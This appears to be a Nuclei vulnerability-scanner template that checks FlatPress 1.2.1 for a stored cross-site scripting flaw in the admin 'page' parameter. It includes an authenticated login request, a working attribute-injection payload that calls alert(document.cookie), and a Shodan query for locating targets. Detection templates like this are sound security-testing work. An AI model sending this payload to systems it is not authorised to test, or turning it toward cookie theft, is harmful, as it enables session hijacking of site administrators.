63 lines
1.8 KiB
YAML
63 lines
1.8 KiB
YAML
id: flatpress-xss
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info:
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name: FlatPress 1.2.1 - Stored Cross-Site Scripting
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author: arafatansari
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severity: medium
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description: |
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FlatPress 1.2.1 contains a stored cross-site scripting vulnerability that allows for arbitrary execution of JavaScript commands through blog content. An attacker can steal cookie-based authentication credentials and launch other attacks. Note: this is similar to CVE-2021-41432, however this attack uses the "page" parameter.
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reference:
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- https://github.com/flatpressblog/flatpress/issues/153
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cwe-id: CWE-79
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metadata:
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max-request: 2
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verified: true
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shodan-query: http.html:"Flatpress"
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tags: flatpress,xss,authenticated,oss
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http:
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- raw:
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- |
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POST /login.php HTTP/1.1
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Host: {{Hostname}}
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Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykGJmx9vKsePrMkVp
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------WebKitFormBoundarykGJmx9vKsePrMkVp
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Content-Disposition: form-data; name="user"
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{{username}}
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------WebKitFormBoundarykGJmx9vKsePrMkVp
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Content-Disposition: form-data; name="pass"
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{{password}}
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------WebKitFormBoundarykGJmx9vKsePrMkVp
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Content-Disposition: form-data; name="submit"
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Login
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------WebKitFormBoundarykGJmx9vKsePrMkVp--
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- |
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GET /admin.php?p=static&action=write&page=%22onfocus%3d%22alert%28document.cookie%29%22autofocus%3d%22 HTTP/1.1
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Host: {{Hostname}}
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cookie-reuse: true
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matchers-condition: and
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matchers:
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- type: word
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words:
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- 'value=""onfocus="alert(document.cookie)"autofocus=""'
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- 'FlatPress'
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condition: and
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- type: word
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part: header
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words:
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- text/html
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- type: status
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status:
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- 200
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